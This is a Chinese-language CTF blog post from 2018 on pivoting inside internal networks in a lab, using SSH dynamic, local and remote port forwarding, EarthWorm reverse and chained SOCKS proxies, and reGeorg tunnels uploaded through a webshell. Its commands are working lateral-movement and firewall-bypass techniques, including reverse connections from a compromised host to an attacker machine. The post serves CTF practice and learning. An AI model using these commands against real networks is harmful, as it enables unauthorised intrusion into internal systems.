2、Web狗要懂的內網埠轉發

FLy_鵬程萬里發表於2018-06-10

這次XNUCA的決賽不會內網滲透吃了很大虧,團隊賽第一天回來後惡補了一下埠轉發,第二天總算是能解決鏈路問題,雖然最後還是被各位師傅吊打了

區分正向代理和反向代理

(自己的理解,可能有誤)

A——B——C
A對C的請求,B作為代理,代替A去訪問C,並將結果返回給A,則B是正向代理

B主動與A的8888埠建立連線,並將A:8888的訪問轉為對C:80的訪問,結果返回給A,則B是反向代理

反向代理的好處:當AB之間有防火牆,不允許A連B,但是允許B連A

開始實驗

A(root@192.168.168.1) (kali,具有完備的攻擊環境)
B(msfadmin@192.168.168.2)

C(msfadmin@192.168.168.3)


前提:知道B的ssh口令(常見於CTF的AWD中的滲透模式)

實驗一,利用ssh隧道,B作為正向代理,做動態埠轉發

在A上執行

ssh -2 -D 2333 msfadmin@192.168.168.2

這條命令是將A本地的2333埠,與B的22埠建立socks連線,執行後需要輸入B的ssh口令


測試,直接在A訪問C的80埠,不過瀏覽器要偵聽127.0.0.1:2333 socks代理

測試,直接在A掃描C的所有埠,不過要呼叫proxychains,偵聽127.0.0.1:2333


實驗二,利用ssh隧道,B作為正向代理,進行單一的埠轉發

A訪問127.0.0.1:1111相當於訪問C:80

A上執行

ssh -L 1111:192.168.168.3:80 msfadmin@192.168.168.2

A訪問127.0.0.1:1111相當於訪問192.168.168.3:80(C),中間需要msfadmin@192.168.168.2(B)來幫忙轉發,需要輸入B的ssh賬號密碼

A訪問127.0.0.1:2222 相當於訪問C:22

A上執行

ssh -L 2222:192.168.168.3:22 msfadmin@192.168.168.2

A訪問127.0.0.1:2222相當於訪問192.168.168.3:22(C),中間需要msfadmin@192.168.168.2(B)來幫忙轉發,需要輸入B的ssh賬號密碼


實驗三 利用ssh隧道,B做反向代理,做單一的埠轉發

A訪問127.0.0.1:8888相當於訪問C:80

先在A(kali)上生成ssh需要的host key

ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key

在B上執行

ssh -R 8888:192.168.168.3:80 root@192.168.168.1

B主動向A發起ssh連線,需要輸入A的ssh賬號口令

將來自(A)192.168.168.1:8888的請求,轉化為對(C)192.168.168.3:80的請求,然後將結果通過ssh隧道,返回給A


A訪問127.0.0.1:2222相當於訪問C:22

在B上執行

ssh -R 2222:192.168.168.3:22 root@192.168.168.1


實驗四,再多一級D(192.168.168.4),在A上打D

在B上執行兩條命令

ssh -R 8888:127.0.0.1:4444 root@192.168.168.1
B作反向代理,將A:8888與B:4444打通ssh隧道

ssh -2 -D 4444 msfadmin@192.168.168.3
B將本地4444埠與C打通ssh隧道,C作正向代理

現在A就能以127.0.0.1:8888為socks代理,去訪問D了,甚至掃描D






如果你只獲得一個webshell,並沒有ssh口令

強烈推薦 EarthWorm

可以用ew來建立正向代理、反向代理、多級級聯,非常強大
舊版,已夠用 http://rootkiter.com/EarthWorm/
新版,更新中,側重shell管理 http://rootkiter.com/Termite/

利用ew,將B作為正向代理

用菜刀上傳ew.zip到B上,並移動到tmp目錄下

用菜刀的虛擬終端在B上執行

unzip ew.zip
file /sbin/init (檢視linux位數)
chmod 777 ew_for_Linux32
./ew_for_Linux32 -s ssocksd -l 2333 (偵聽0.0.0.0:2333)
netstat -pantu|grep 2333 (檢視是否偵聽成功)


在A上以B為代理,訪問C



利用ew,將B作為反向代理

在A上執行

chmod 777 ./ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 2333

A偵聽0.0.0.0:2333埠,並轉發為0.0.0.0:1080埠


在B上執行

chmod 777 ew_for_Linux32
./ew_for_Linux32 -s rssocks -d 192.168.168.1 -e 2333

B反向連線A:2333埠

此時以A的1080埠為代理,就能直接打C了,實際滲透中,192.168.168.1常是一臺公網伺服器,然後kali再去連線公網的1080埠,但我這裡仍然是在kali下演示


使用完ew,記得殺掉程式,可以ps+kill查殺,也可以粗暴點,直接kill 0

利用ew進行多級代理搭建

B上執行

./ew_for_Linux32 -s rcsocks -l 1080 -e 2333

偵聽0.0.0.0:2333,流量轉發到0.0.0.0:1080

C上執行

./ew_for_Linux32 -s rssocks -d 192.168.168.2 -e 2333

C反向連線B:2333埠

這樣A上以B 192.168.168.2:1080為socks代理,可以直接對D進行滲透


可以再加一級

達到以192.168.168.1:1080為socks代理,能對D進行滲透

溝通B和C

B上執行
./ew_for_Linux32 -s rcsocks -l 1080 -e 2333
C上執行
./ew_for_Linux32 -s rssocks -d 192.168.168.2 -e 2333

B偵聽0.0.0.0:2333埠,並轉為0.0.0.0:1080埠
C反向連線B的2333埠

溝通A和B

A上執行
./ew_for_linux64 -s rcsocks -l 1080 -e 2333
B上執行
./ew_for_Linux32 -s lcx_slave -d 192.168.168.1 -e 2333 -f 127.0.0.1 -g 1080

A偵聽0.0.0.0:2333埠,並轉為0.0.0.0:1080埠
B反向連線A的2333埠,並把流量轉發到本地的1080埠




reGeorg

https://github.com/sensepost/reGeorg
https://sensepost.com/discover/tools/reGeorg/
reGeorg利用webshell建立一個socks代理進行內網穿透,伺服器必須支援aspx、php、jsp、js等web語言

菜刀連線192.168.168.2的webshell,上傳tunnel.php和tunnel.nosocket.php到web根目錄

在A(kali)上執行

python reGeorgSocksProxy.py -p 2333 http://192.168.168.2/tunnel.php
建立不了連線
python reGeorgSocksProxy.py -p 2333 http://192.168.168.2/tunnel.nosocket.php
成功建立連線

此時會利用192.168.168.2的web服務,與本機的kali的2333埠建立socks連線,現在就能在A上打C了


推薦一波文章

內網滲透隨想 redrain寫的
http://www.anquan.us/static/drops/tips-5234.html
內網滲透中轉發工具總結
http://www.anquan.us/static/drops/tools-15000.html
【T00ls精華文】代理轉發工具彙總分析
https://mp.weixin.qq.com/s/heSvLuJtdPyJfsKJVlZEhw
內網漫遊之SOCKS代理大結局
https://www.anquanke.com/post/id/85494
ssh埠轉發詳解
https://www.cnblogs.com/-chaos/archive/2013/10/19/3378564.html
http://blog.csdn.net/a351945755/article/details/21785647
http://blog.csdn.net/qq_27446553/article/details/51981764

相關文章